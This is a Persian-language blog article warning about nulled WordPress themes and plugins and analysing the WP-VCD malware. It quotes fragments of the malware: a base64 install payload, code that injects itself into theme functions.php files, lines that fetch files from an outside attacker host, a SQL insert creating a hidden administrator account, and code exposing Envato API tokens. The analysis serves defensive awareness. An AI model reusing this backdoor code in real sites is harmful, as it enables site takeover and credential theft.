از مشکلات عمده جامعه وردپرس فارسی اینه که محصولات افزونه و قالب وردپرس که به صورت نال شده و غیر اورجینال تهیه شده و در اختیار کسانی که به دنبال خرید قالب و افزونه هستند قرار گرفته است. اما مشکل بزرگتر درست وقتی رخ میده که از یک طرف به دلیل تحریم و از طرف دیگه به علت افزایش هزینه برای خرید این محصولات خیلی از افراد از خیر خرید مستقیم از سایتهایی مثل انوانتو گذشته و از مارکتها و فروشگاههای ایرانی که هیچ تضمینی در اصالت محصولات وجود نداره خرید خود را انجام میدهند. ماجرا وقتی بدتر میشود که اکثر این محصولات حتی در مارکتهایی بزرگ و معتبر هم به صورت اصل تهیه نشدند و از طریق سایتهایی که این محصولات را منتشر میکنند دانلود شده و پس از راست چین کردن و فارسی سازی با قیمت بسیار کمتری از محصول در فروشگاه انوانتو در اختیار کاربران قرار میگیرند.
همین مسئله باعث به وجود اومدن بدافزارهای و شیوع اونها در سایتهای وردپرسی میشه که همه ساله با گزارشهای مختلفی از هک سایتهای وردپرسی مواجه میشیم. اما به جای اینکه به خودمون رجوع کنیم و پی به علت ماجرا که استفاده از محصولات نال شده است ببریم، به دنبال مقصر گذشته و تقصیرات را به گردن فروشندگان و مارکتهایی که این محصولات را خریداری کردیم میندازیم. البته درسته که کاری که اونها انجام میدن هم به مراتب بدتر هم هست و بی تقصیر هم نیستند.
شیوع بدافزار WP-VCD در سایتهای وردپرسی
در طی یک سال گذشته بدافزار WP-VCD از همین طریق باعث آلوده شدن بسیاری از سایتهای وردپرسی شده است. این بدافزار که از طریق فایلهای قالب و افزونه وردپرس به سایت تزریق میشه میتونه یک یوزر ادمین به صورت خودکار ایجاد کرده و کارهای خرابکارانه روی سایت شما اعمال بکنه. به محض شروع کار بدافزار WP-VCD کدهایی در هسته اصلی وردپرس، قالب وردپرس، افزونه وردپرس و در دایرکتوریهای مختلف دیگه از هاست باعث آلوده شدن ساختار کلی سایت و به دست گرفتن کنترل سایت خواهند شد. که شامل موارد زیر است.
- ایجاد یک کاربر در وردپرس با نقش کاربری مدیرکل و با نام کاربری ۱۰۰۰۱۰۰۱۰
- تزریق لینکهای مخرب در فوتر وردپرس که با استفاده از این لینکها معمولا کارهایی خرابکارانه مثل استفاده از روشهای کلاه سیاه سئو برای ضربه زدن به سایت شده و از طرفی با نمایش تبلیغات اسپم در سایت قربانی باعث پنالتی شدن سایت در گوگل خواهد شد.
- تزریق کدها از طریق فایل functions.php قالب که جزو مهمترین فایل در قالب وردپرس است و با استفاده از اون میشه هر کاری را در سایت انجام داد. کدی که در این فایل تزریق میشه حتی امکان تغییر در محتوای مطالب و بهروزرسانی نوشتهها در وردپرس را هم دارد.
- این بدافزار صرفا به همینجا بسنده نکرده و با قرار دادن فایلهای مخرب دیگه در پوشه wp-includes کارهای خرابکارانه بیشتری را هم روی سایت انجام خواهد داد که در ادامه به معرفی این فایلها میپردازم.
نحوه شیوع بدافزار WP-VCD و کارکرد آن روی سایت
اولین کاری که توسط این بدافزار اعمال میشه با اضافه شدن قطعه کد زیر در فایل post.php که در داخل پوشه wp-includes قرار داره انجام خواهد گرفت.
<?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?><?php /** ۲ /** * Core Post API
همونطور که میبینید در قدم بعدی با اضافه شدن این کد فایلی با نام wp-vcd.php به همین دایرکتوری اضافه میشه که به صورت base64 کدگذاری شده و با نام $install_code شروع به نصب برخی کد در فایلها خواهد کرد.
$install_code = 'PD9waHANCg0KaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pIC[...] $install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT); $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
کاری که کد بالا انجام میده اینه که کدهای زیر را به فایل فانکشن قالب وردپرس اضافه خواهد کرد.
if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')){ if (strpos($content, 'WP_V_CD') === false){ $content = $install_code . $content ; @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content); touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time ); } else { $ping = false; } }
سپس از راه دور فایلی با نام o.php را فراخوانی کرده و یک فایل متنی با نام class.wp.php را در پوشه wp-includes قالب قرار خواهد داد. که در کدهای زیر نمونهای از آن را میبینید.
$content = @file_get_contents('http://www.aotson.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash); @file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('http://www.aotson.com/admin.txt'));
حالا که کدهای فایل class.wp.php اضافه شدند. شامل کدهای زیر هستند که با استفاده از زبان php و کنترل دیتابیس کاری که انجام میدن اینه که یک یوزر با نام کاربری ۱۰۰۰۱۰۰۱۰ در وردپرس اضافه خواهند کرد و نقش کاربری مدیرکل را به آن خواهند داد.
$wpdb->query("INSERT INTO $wpdb->users (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('100010010', '100010010', '\$P\$BaRp7gFRTND5AwwJwpQY8EyN3otDiL.', '100010010', 'te@ea.st', '', '2011-06-07 00:00:00', '', '0', '100010010');");
سپس با استفاده از کلید واژه API Toolkit Envato Market احتمالا درخواست یک بهروزرسانی برای قالب یا افزونه نمایش داده خواهد شد.
if( isset($_GET['key']) ) { $options = get_option( EWPT_PLUGIN_SLUG ); echo '<center><h2>' . esc_attr( $options['user_name'] . ':' . esc_attr( $options['api_key'])) . '<br>'; echo esc_html( envato_market()->get_option( 'token' ) ); echo '</center></h2>'; }}
بعد از این مرحله مجددا از راه دور محتویات فایل codecxc.txt به صورت موقت داخل دایرکتوری php تزریق خواهند شد که کدهای زیر در آن قرار دارند.
نظرات